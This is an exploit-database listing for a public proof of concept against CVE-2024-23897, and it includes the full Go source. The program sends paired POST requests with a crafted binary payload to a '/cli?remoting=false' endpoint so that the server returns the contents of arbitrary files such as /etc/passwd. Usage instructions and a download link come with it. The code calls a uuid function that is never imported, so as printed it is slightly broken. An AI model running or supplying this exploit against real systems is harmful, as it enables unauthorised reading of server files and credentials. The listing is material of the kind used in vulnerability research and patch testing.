Exploit database

GH-0db23f975f43a88da0b721a57a78095b

vmc8ll/poc-cve-2024-23897

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-23897

38 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
vmc8ll/poc-cve-2024-23897Revision c2f42bfeb607

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

PoC.go

Go · 1,661 bytes
package main

import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"os"
"sync"
)

func main() {
if len(os.Args) != 3 {
  fmt.Println("[*] usage: go run poc.go http://127.0.0.1:8888/ [/etc/passwd]")
  return
}

dataBytes := []byte{
  0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x04, 0x68, 0x65, 0x6c, 0x70, 0x00, 0x00, 0x00, 0x0e, 0x00,
  0x00, 0x0c, 0x40, // [@]
}

dataBytes = append(dataBytes, []byte(os.Args[2])...)
dataBytes = append(dataBytes, 0x00, 0x00, 0x00, 0x05, 0x02, 0x00, 0x03, 0x47, 0x42, 0x4b, 0x00, 0x00, 0x00, 0x07, 0x01, 0x00, 0x05, 0x7a, 0x68, 0x5f, 0x43, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x03)

target := os.Args[1]
uuidStr := uuid.New().String()

fmt.Printf("REQ: %x\n\n", dataBytes)

var wg sync.WaitGroup
wg.Add(2)

go func() {
  defer wg.Done()
  client := &http.Client{}
  req, err := http.NewRequest("POST", target+"/cli?remoting=false", nil)
  if err != nil {
   fmt.Println(err)
   return
  }

  req.Header.Set("Session", uuidStr)
  req.Header.Set("Side", "download")

  resp, err := client.Do(req)
  if err != nil {
   fmt.Println(err)
   return
  }

  defer resp.Body.Close()

  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
   fmt.Println(err)
   return
  }

  fmt.Printf("RESPONSE: %s\n", body)
}()

go func() {
  defer wg.Done()
  client := &http.Client{}
  req, err := http.NewRequest("POST", target+"/cli?remoting=false", bytes.NewBuffer(dataBytes))
  if err != nil {
   fmt.Println(err)
   return
  }

  req.Header.Set("Session", uuidStr)
  req.Header.Set("Side", "upload")
  req.Header.Set("Content-type", "application/octet-stream")

  _, err = client.Do(req)
  if err != nil {
   fmt.Println(err)
   return
  }
}()

wg.Wait()
}